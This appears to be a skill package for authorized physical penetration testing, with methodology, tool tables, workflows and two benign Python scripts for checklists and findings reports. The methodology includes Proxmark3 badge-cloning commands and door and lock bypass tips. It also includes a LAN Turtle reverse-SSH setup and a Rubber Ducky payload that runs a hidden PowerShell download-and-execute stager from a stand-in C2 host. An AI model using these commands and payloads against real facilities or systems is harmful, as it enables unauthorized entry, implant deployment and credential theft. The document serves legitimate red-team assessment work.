npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
Overview
Physical intrusion assessment evaluates an organization's physical security controls by attempting to gain unauthorized access to facilities, server rooms, and restricted areas. This includes tailgating employees, cloning RFID access badges, bypassing locks, deploying rogue network devices, and testing security guard procedures. Physical security testing is a critical component of full-scope red team engagements, as it often provides the most direct path to network access. MITRE ATT&CK maps physical access techniques under T1200 (Hardware Additions) and T1091 (Replication Through Removable Media).
When to Use
- When conducting security assessments that involve performing physical intrusion assessment
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Signed authorization letter (carry at all times during assessment)
- Emergency contact for client security team (24/7)
- Get-out-of-jail letter signed by executive authority
- Physical security testing toolkit
- Body camera or documentation equipment
- Disguise/cover identity materials (uniform, badge, clipboard)
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1200 | Hardware Additions | Initial Access |
| T1091 | Replication Through Removable Media | Initial Access |
| T1199 | Trusted Relationship | Initial Access |
| T1078 | Valid Accounts | Initial Access |
Physical Security Testing Toolkit
| Tool | Purpose | Approximate Cost |
|---|---|---|
| Proxmark3 RDV4 | RFID badge cloning (125kHz/13.56MHz) | $300 |
| Flipper Zero | Multi-protocol RF analysis | $170 |
| Lock pick set (Sparrows) | Mechanical lock bypassing | $35 |
| Under-door tool (UDT) | Bypass door from outside | $30 |
| Shove knife / latch slip | Spring bolt bypass | $15 |
| LAN Turtle | Rogue network implant | $60 |
| WiFi Pineapple | Rogue wireless AP | $100 |
| Rubber Ducky / Bash Bunny | USB keystroke injection | $50-80 |
| Clipboard + hard hat + hi-vis | Social engineering props | $20 |
| Body camera | Evidence documentation | $50 |
Technique 1: Tailgating
Tailgating involves following an authorized person through a secured entry point without presenting credentials.
Methods:
- Hands full approach: Carry boxes/equipment, ask someone to hold the door
- Smoke break return: Wait near smoking area, follow employees back inside
- Delivery driver: Wear delivery uniform, carry packages
- Busy entrance timing: Enter during shift change or lunch rush
- Door propping: Observe if employees prop doors open
Countermeasures to test:
- Turnstiles / mantraps
- Security guard challenge procedures
- Piggybacking detection systems
- Employee security awareness
Technique 2: Badge Cloning
# Proxmark3 - Read a low-frequency (125kHz) HID card
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 45678
# Clone to a T5577 blank card
proxmark3> lf hid clone --fc 123 --cn 45678
# Read high-frequency (13.56MHz) MIFARE card
proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF
# Long-range capture with custom antenna (up to 3 feet)
proxmark3> lf hid read # with extended antenna
# Flipper Zero - Read and emulate
# RFID > Read > Hold card to Flipper > Save > EmulateBadge cloning attack flow:
- Position near badge reader (elevator, door entry)
- Read badge wirelessly as employee passes (1-3 second window)
- Clone to blank card
- Use cloned badge to access secured areas
- Document which areas were accessible
Technique 3: Lock Bypassing
| Lock Type | Bypass Method | Difficulty |
|---|---|---|
| Pin tumbler (standard) | Pick, rake, or bump key | Easy-Medium |
| Wafer lock (filing cabinets) | Pick or jiggle | Easy |
| Tubular lock (vending, server) | Tubular pick tool | Easy |
| Electronic lock (keypad) | Shoulder surf, thermal camera | Medium |
| Magnetic lock (mag lock) | Under-door tool, REX sensor bypass | Medium |
| Smart lock (Bluetooth) | Replay attack, firmware exploit | Hard |
# Electronic keypad - thermal imaging after use
# Warmer keys = more recently pressed
# Use FLIR camera to capture heat signatures within 30 seconds
# REX (Request to Exit) sensor bypass
# Insert thin wire or use a can of compressed air to trigger motion sensor
# on the inside of a mag-locked doorTechnique 4: Rogue Device Deployment
# LAN Turtle - Plug into exposed Ethernet port
# Provides SSH reverse tunnel back to C2 server
# Auto-configures as man-in-the-middle
# Configure LAN Turtle for reverse SSH
# Module: AutoSSH
# Host: c2.redteam.com
# Port: 22
# Remote port: 2222
# WiFi Pineapple - Deploy in common area
# Captures wireless credentials via evil twin attack
# Exfiltrates data over cellular modem
# USB Rubber Ducky - Drop in parking lot or leave on desk
# Payload: Download and execute C2 agent
# Duckyscript:
# DELAY 1000
# GUI r
# DELAY 500
# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"
# ENTERTechnique 5: Dumpster Diving
Search external waste containers and recycling bins for:
- Printed documents with sensitive information
- Employee directories and org charts
- Network diagrams and IP addresses
- Shredded documents (cross-cut vs strip-cut assessment)
- Discarded hardware (hard drives, USB drives)
Assessment Methodology
Pre-Assessment Reconnaissance
- Perimeter walk - identify all entry points, cameras, guard posts
- Observe employee patterns - shift changes, break schedules
- Identify badge technology (HID, MIFARE, iCLASS)
- Map camera coverage and blind spots
- Note security guard patrol routes and timing
Execution Phases
- External perimeter: Fencing, gates, parking barriers
- Building entry: Main entrance, side doors, loading dock
- Internal access: Floor access, elevator controls
- Restricted areas: Server rooms, executive offices, data centers
- Device deployment: Network implants, rogue wireless
Documentation Requirements
- Timestamp and location for every access attempt
- Photos/video of successful entries
- Badge reader locations that accepted cloned credentials
- Unlocked doors, propped doors, tailgating opportunities
- Network ports accessible in public areas
- Evidence of data in waste containers
Ethical and Safety Considerations
- Always carry authorization letter - Be prepared to identify yourself immediately if confronted
- Never force entry - If a technique damages property, document and skip
- Immediate stop if law enforcement is called before deconfliction
- Never photograph individuals without authorization
- Document, don't exploit - Take photos as evidence, don't steal actual data
- Safety first - Do not enter hazardous areas or bypass fire safety
References
- ISACA Physical Penetration Testing White Paper (2023)
- ASIS Physical Security Professional (PSP) guidelines
- NIST SP 800-116 Rev. 1: Smart Card PIV guidelines
- Deviant Ollam - Physical Security Assessment methodology
- MITRE ATT&CK T1200: https://attack.mitre.org/techniques/T1200/
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.4 KB
API Reference — Performing Physical Intrusion Assessment
Libraries Used
- csv: Generate and parse assessment checklists
- pathlib: File operations
CLI Interface
python agent.py checklist [--categories perimeter access_control server_room social_engineering] [--output checklist.csv]
python agent.py score --csv completed_assessment.csv
python agent.py report --csv completed_assessment.csvCore Functions
generate_checklist(categories, output_file) — Create assessment template
22 checks across 4 categories with severity ratings. Outputs to CSV.
score_assessment(results_csv) — Calculate compliance score
Groups by category and severity. Identifies critical failures.
generate_report(results_csv) — Executive summary with risk level
Assessment Categories (22 checks)
| Category | Checks | Focus |
|---|---|---|
| Perimeter Security | 5 | Fencing, CCTV, lighting, barriers |
| Access Control | 6 | Badge access, tailgating, visitor policy |
| Server Room | 6 | MFA, CCTV, environmental, access logs |
| Social Engineering | 5 | Visitor challenge, clean desk, shredding |
Risk Classification
- CRITICAL: Critical control failures found
- HIGH: >5 failed checks
- MEDIUM: 1-5 failed checks
- LOW: All checks passed
Dependencies
No external packages — Python standard library only.
standards.md1.4 KB
Standards and References: Physical Intrusion Assessment
MITRE ATT&CK Techniques
- T1200 - Hardware Additions (rogue device deployment)
- T1091 - Replication Through Removable Media (USB attacks)
- T1199 - Trusted Relationship (tailgating, impersonation)
- T1078 - Valid Accounts (cloned badges)
- T1598 - Phishing for Information (in-person social engineering)
NIST References
- NIST SP 800-53 Rev. 5 - PE-1 through PE-20: Physical and Environmental Protection
- NIST SP 800-53 Rev. 5 - PE-3: Physical Access Control
- NIST SP 800-53 Rev. 5 - PE-6: Monitoring Physical Access
- NIST SP 800-116 Rev. 1 - PIV Card credential management
- NIST SP 800-46 - Remote access security
Industry Standards
- ASIS Physical Security Professional (PSP) guidelines
- ISO 27001:2022 - A.7: Physical controls
- PCI DSS 4.0 - Requirement 9: Restrict physical access to cardholder data
- ISACA Physical Penetration Testing white paper (2023)
- CPTED - Crime Prevention Through Environmental Design
Compliance Mapping
| Framework | Control | Description |
|---|---|---|
| PCI DSS 4.0 | 9.1-9.5 | Physical access controls |
| SOC 2 | CC6.4 | Physical access restrictions |
| ISO 27001 | A.7.1-7.4 | Physical security perimeters, controls |
| HIPAA | 164.310 | Physical safeguards |
| NIST CSF | PR.AC-2 | Physical access to assets |
workflows.md4.5 KB
Workflows: Physical Intrusion Assessment
Assessment Workflow
┌─────────────────────────────────────────────────────────────────┐
│ PHYSICAL INTRUSION ASSESSMENT WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. RECONNAISSANCE (Day 1-2) │
│ ├── External perimeter survey │
│ ├── Entry/exit point mapping │
│ ├── Camera placement analysis │
│ ├── Guard patrol timing │
│ ├── Employee behavior observation │
│ ├── Badge technology identification │
│ └── Loading dock / service entrance survey │
│ │
│ 2. BADGE CAPTURE (Day 2-3) │
│ ├── Position near badge readers / elevators │
│ ├── Capture RFID data from passing employees │
│ ├── Clone to blank cards │
│ └── Test cloned badges on external readers first │
│ │
│ 3. INTRUSION ATTEMPTS (Day 3-5) │
│ ├── Tailgating through main entrance │
│ ├── Badge cloning at restricted doors │
│ ├── Lock bypass on server room / network closet │
│ ├── Social engineering at reception │
│ ├── Loading dock / service entrance access │
│ └── After-hours access attempts │
│ │
│ 4. INTERNAL OBJECTIVES (Day 4-5) │
│ ├── Access server room / data center │
│ ├── Deploy rogue network device │
│ ├── Access unlocked workstations │
│ ├── Plug in USB device to exposed port │
│ ├── Photograph sensitive documents on desks │
│ └── Test dumpster diving │
│ │
│ 5. REPORTING (Day 6-7) │
│ ├── Document all access attempts with evidence │
│ ├── Map successful paths on facility diagram │
│ ├── Provide remediation for each finding │
│ └── Present findings to security team │
│ │
└─────────────────────────────────────────────────────────────────┘Entry Point Decision Tree
Select Entry Point
│
├── Main Entrance
│ ├── Tailgate during shift change
│ ├── Social engineer past reception
│ └── Use cloned badge at turnstile
│
├── Side/Emergency Doors
│ ├── Check for propped doors
│ ├── Use under-door tool on push-bar
│ └── Badge clone if reader present
│
├── Loading Dock
│ ├── Impersonate delivery driver
│ ├── Follow truck into dock area
│ └── Access internal doors from dock
│
├── Parking Garage
│ ├── Tailgate vehicle through gate
│ ├── Access stairwells to building
│ └── Check for unlocked access doors
│
└── Smoking Area
├── Wait for employees on break
├── Build rapport during conversation
└── Follow group back insideScripts 2
agent.py6.9 KB
#!/usr/bin/env python3
"""Agent for performing physical intrusion assessment — checklist management and finding documentation."""
import json
import argparse
import csv
from datetime import datetime
ASSESSMENT_CATEGORIES = {
"perimeter": {
"name": "Perimeter Security",
"checks": [
{"id": "P01", "check": "Perimeter fencing intact and adequate height (>=7ft)", "severity": "HIGH"},
{"id": "P02", "check": "CCTV cameras covering all entry points", "severity": "HIGH"},
{"id": "P03", "check": "Adequate exterior lighting at night", "severity": "MEDIUM"},
{"id": "P04", "check": "Vehicle barriers at building entrances", "severity": "MEDIUM"},
{"id": "P05", "check": "Signage prohibiting unauthorized access", "severity": "LOW"},
],
},
"access_control": {
"name": "Access Control",
"checks": [
{"id": "A01", "check": "Badge/card access on all entry doors", "severity": "CRITICAL"},
{"id": "A02", "check": "Tailgating prevention mechanisms (mantrap, turnstile)", "severity": "HIGH"},
{"id": "A03", "check": "Visitor sign-in and escort policy enforced", "severity": "HIGH"},
{"id": "A04", "check": "Badge visible at all times policy", "severity": "MEDIUM"},
{"id": "A05", "check": "After-hours access controls and logging", "severity": "HIGH"},
{"id": "A06", "check": "Terminated employee badge deactivation process", "severity": "CRITICAL"},
],
},
"server_room": {
"name": "Server Room / Data Center",
"checks": [
{"id": "S01", "check": "MFA or biometric access to server room", "severity": "CRITICAL"},
{"id": "S02", "check": "CCTV monitoring inside server room", "severity": "HIGH"},
{"id": "S03", "check": "Environmental controls (temp, humidity sensors)", "severity": "MEDIUM"},
{"id": "S04", "check": "Fire suppression system present", "severity": "HIGH"},
{"id": "S05", "check": "Access logs reviewed regularly", "severity": "MEDIUM"},
{"id": "S06", "check": "No unlocked network ports in common areas", "severity": "HIGH"},
],
},
"social_engineering": {
"name": "Social Engineering Resistance",
"checks": [
{"id": "E01", "check": "Employees challenge unknown visitors", "severity": "HIGH"},
{"id": "E02", "check": "Clean desk policy enforced", "severity": "MEDIUM"},
{"id": "E03", "check": "Sensitive documents shredded", "severity": "MEDIUM"},
{"id": "E04", "check": "USB drives not left unattended", "severity": "HIGH"},
{"id": "E05", "check": "Dumpster diving countermeasures", "severity": "MEDIUM"},
],
},
}
def generate_checklist(categories=None, output_file=None):
"""Generate physical security assessment checklist."""
cats = categories or list(ASSESSMENT_CATEGORIES.keys())
checklist = []
for cat in cats:
if cat in ASSESSMENT_CATEGORIES:
data = ASSESSMENT_CATEGORIES[cat]
for check in data["checks"]:
checklist.append({
"category": data["name"], "id": check["id"],
"check": check["check"], "severity": check["severity"],
"status": "NOT_TESTED", "finding": "", "evidence": "",
})
if output_file:
with open(output_file, "w", newline="", encoding="utf-8") as f:
writer = csv.DictWriter(f, fieldnames=["category", "id", "check", "severity", "status", "finding", "evidence"])
writer.writeheader()
writer.writerows(checklist)
return {"total_checks": len(checklist), "categories": cats, "checklist": checklist, "output": output_file}
def score_assessment(results_csv):
"""Score a completed physical security assessment."""
with open(results_csv, "r", encoding="utf-8", errors="replace") as f:
reader = csv.DictReader(f)
results = list(reader)
passed = sum(1 for r in results if r.get("status", "").lower() in ("pass", "compliant", "ok"))
failed = sum(1 for r in results if r.get("status", "").lower() in ("fail", "non-compliant", "nc"))
total = len(results)
by_category = {}
by_severity = {}
failures = []
for r in results:
cat = r.get("category", "unknown")
sev = r.get("severity", "MEDIUM")
by_category.setdefault(cat, {"pass": 0, "fail": 0})
by_severity.setdefault(sev, {"pass": 0, "fail": 0})
if r.get("status", "").lower() in ("pass", "compliant", "ok"):
by_category[cat]["pass"] += 1
by_severity[sev]["pass"] += 1
elif r.get("status", "").lower() in ("fail", "non-compliant", "nc"):
by_category[cat]["fail"] += 1
by_severity[sev]["fail"] += 1
failures.append({"id": r.get("id"), "check": r.get("check"), "severity": sev,
"finding": r.get("finding", "")[:200]})
return {
"total_checks": total, "passed": passed, "failed": failed,
"compliance_pct": round(passed / max(total, 1) * 100, 1),
"by_category": by_category,
"by_severity": by_severity,
"critical_failures": [f for f in failures if f["severity"] == "CRITICAL"],
"all_failures": failures,
}
def generate_report(results_csv):
"""Generate executive physical security assessment report."""
scores = score_assessment(results_csv)
risk = "CRITICAL" if scores.get("critical_failures") else "HIGH" if scores["failed"] > 5 else "MEDIUM" if scores["failed"] > 0 else "LOW"
return {
"generated": datetime.utcnow().isoformat(),
"overall_risk": risk,
"compliance_score": scores["compliance_pct"],
**scores,
"recommendations": [
f"CRITICAL: Address {len(scores['critical_failures'])} critical findings immediately"
] if scores["critical_failures"] else ["All critical controls passed"],
}
def main():
parser = argparse.ArgumentParser(description="Physical Intrusion Assessment Agent")
sub = parser.add_subparsers(dest="command")
c = sub.add_parser("checklist", help="Generate assessment checklist")
c.add_argument("--categories", nargs="*", choices=list(ASSESSMENT_CATEGORIES.keys()))
c.add_argument("--output", help="Output CSV file")
s = sub.add_parser("score", help="Score completed assessment")
s.add_argument("--csv", required=True)
r = sub.add_parser("report", help="Generate assessment report")
r.add_argument("--csv", required=True)
args = parser.parse_args()
if args.command == "checklist":
result = generate_checklist(args.categories, args.output)
elif args.command == "score":
result = score_assessment(args.csv)
elif args.command == "report":
result = generate_report(args.csv)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()
process.py8.5 KB
#!/usr/bin/env python3
"""
Physical Security Assessment Tracker
Tracks physical intrusion testing attempts, documents findings,
and generates assessment reports with remediation recommendations.
"""
import json
import os
from datetime import datetime
from collections import defaultdict
from dataclasses import dataclass, field, asdict
@dataclass
class PhysicalAccessAttempt:
"""A single physical access test attempt."""
attempt_id: str
timestamp: str
location: str
entry_point: str # main_entrance, side_door, loading_dock, etc.
technique: str # tailgating, badge_clone, lock_pick, social_engineering
target_area: str # lobby, server_room, executive_floor, data_center
successful: bool
detected: bool
challenged: bool # was tester confronted/questioned
security_notified: bool
time_inside_minutes: int = 0
device_deployed: bool = False
device_type: str = ""
evidence_collected: str = ""
notes: str = ""
severity: str = "" # critical, high, medium, low
class PhysicalAssessmentTracker:
"""Track physical security assessment results."""
def __init__(self, assessment_id: str, facility_name: str):
self.assessment_id = assessment_id
self.facility_name = facility_name
self.attempts: list[PhysicalAccessAttempt] = []
def log_attempt(self, attempt: PhysicalAccessAttempt) -> None:
"""Log an access attempt."""
# Auto-assign severity
if not attempt.severity:
if attempt.target_area in ("server_room", "data_center") and attempt.successful:
attempt.severity = "critical"
elif attempt.successful and not attempt.detected:
attempt.severity = "high"
elif attempt.successful and attempt.detected:
attempt.severity = "medium"
else:
attempt.severity = "low"
self.attempts.append(attempt)
def calculate_metrics(self) -> dict:
"""Calculate assessment metrics."""
total = len(self.attempts)
if total == 0:
return {}
successful = [a for a in self.attempts if a.successful]
detected = [a for a in self.attempts if a.detected]
challenged = [a for a in self.attempts if a.challenged]
devices = [a for a in self.attempts if a.device_deployed]
# By technique
technique_stats = defaultdict(lambda: {"total": 0, "success": 0})
for a in self.attempts:
technique_stats[a.technique]["total"] += 1
if a.successful:
technique_stats[a.technique]["success"] += 1
# By area
area_stats = defaultdict(lambda: {"total": 0, "success": 0})
for a in self.attempts:
area_stats[a.target_area]["total"] += 1
if a.successful:
area_stats[a.target_area]["success"] += 1
return {
"total_attempts": total,
"successful_entries": len(successful),
"success_rate": len(successful) / total * 100,
"detection_rate": len(detected) / total * 100,
"challenge_rate": len(challenged) / total * 100,
"devices_deployed": len(devices),
"technique_breakdown": dict(technique_stats),
"area_breakdown": dict(area_stats),
"avg_time_inside": (
sum(a.time_inside_minutes for a in successful) / len(successful)
if successful else 0
),
}
def generate_report(self) -> str:
"""Generate assessment report."""
metrics = self.calculate_metrics()
if not metrics:
return "No attempts logged."
lines = []
lines.append("=" * 70)
lines.append("PHYSICAL SECURITY ASSESSMENT REPORT")
lines.append(f"Assessment ID: {self.assessment_id}")
lines.append(f"Facility: {self.facility_name}")
lines.append(f"Date: {datetime.now().strftime('%Y-%m-%d')}")
lines.append("=" * 70)
lines.append(f"\nSUMMARY:")
lines.append(f" Total Attempts: {metrics['total_attempts']}")
lines.append(f" Successful Entries: {metrics['successful_entries']}")
lines.append(f" Success Rate: {metrics['success_rate']:.1f}%")
lines.append(f" Detection Rate: {metrics['detection_rate']:.1f}%")
lines.append(f" Challenge Rate: {metrics['challenge_rate']:.1f}%")
lines.append(f" Devices Deployed: {metrics['devices_deployed']}")
lines.append(f" Avg Time Inside: {metrics['avg_time_inside']:.0f} minutes")
risk = (
"CRITICAL" if metrics['success_rate'] > 60
else "HIGH" if metrics['success_rate'] > 40
else "MEDIUM" if metrics['success_rate'] > 20
else "LOW"
)
lines.append(f"\n OVERALL RISK: {risk}")
lines.append(f"\nTECHNIQUE EFFECTIVENESS:")
lines.append("-" * 70)
for tech, stats in metrics["technique_breakdown"].items():
rate = stats["success"] / stats["total"] * 100 if stats["total"] else 0
lines.append(f" {tech:<25} {rate:>5.1f}% ({stats['success']}/{stats['total']})")
lines.append(f"\nAREA ACCESS:")
lines.append("-" * 70)
for area, stats in metrics["area_breakdown"].items():
rate = stats["success"] / stats["total"] * 100 if stats["total"] else 0
lines.append(f" {area:<25} {rate:>5.1f}% ({stats['success']}/{stats['total']})")
lines.append(f"\nDETAILED FINDINGS:")
lines.append("-" * 70)
for a in sorted(self.attempts, key=lambda x: {"critical": 0, "high": 1, "medium": 2, "low": 3}.get(x.severity, 4)):
status = "SUCCESS" if a.successful else "FAILED"
lines.append(f"\n [{a.severity.upper()}] {a.location} - {a.entry_point}")
lines.append(f" Technique: {a.technique} | Result: {status}")
lines.append(f" Detected: {'Yes' if a.detected else 'No'} | "
f"Challenged: {'Yes' if a.challenged else 'No'}")
if a.device_deployed:
lines.append(f" Device Deployed: {a.device_type}")
if a.notes:
lines.append(f" Notes: {a.notes}")
lines.append(f"\nREMEDIATIONS:")
lines.append("-" * 70)
if metrics["success_rate"] > 50:
lines.append(" [CRITICAL] Physical access controls require immediate review")
if any(a.technique == "tailgating" and a.successful for a in self.attempts):
lines.append(" [HIGH] Install mantraps or anti-tailgating turnstiles")
lines.append(" [HIGH] Implement security awareness training on tailgating")
if any(a.technique == "badge_clone" and a.successful for a in self.attempts):
lines.append(" [HIGH] Upgrade to encrypted RFID (SEOS, DESFire EV2)")
if metrics["challenge_rate"] < 50:
lines.append(" [HIGH] Improve guard challenge procedures")
if any(a.device_deployed for a in self.attempts):
lines.append(" [CRITICAL] Implement physical port security controls")
return "\n".join(lines)
def main():
"""Demonstrate physical assessment tracking."""
tracker = PhysicalAssessmentTracker("PHYS-2025-001", "Example Corp HQ")
attempts = [
PhysicalAccessAttempt("P001", "2025-02-10T08:45:00", "Main Building",
"main_entrance", "tailgating", "lobby", True, False, False, False, 45,
notes="Followed group during morning rush"),
PhysicalAccessAttempt("P002", "2025-02-10T10:00:00", "Main Building",
"side_door", "badge_clone", "office_floor", True, False, False, False, 30,
notes="Cloned badge from elevator reading"),
PhysicalAccessAttempt("P003", "2025-02-10T14:00:00", "Data Center Wing",
"secured_door", "badge_clone", "server_room", True, True, True, True, 5,
device_deployed=True, device_type="LAN Turtle",
notes="Guard challenged but accepted fake contractor story"),
PhysicalAccessAttempt("P004", "2025-02-11T07:30:00", "Loading Dock",
"loading_dock", "social_engineering", "warehouse", True, False, False, False, 20,
notes="Posed as delivery driver with empty boxes"),
PhysicalAccessAttempt("P005", "2025-02-11T12:00:00", "Executive Floor",
"elevator", "tailgating", "executive_office", False, True, True, True, 0,
notes="Security escort required, access denied"),
]
for attempt in attempts:
tracker.log_attempt(attempt)
print(tracker.generate_report())
if __name__ == "__main__":
main()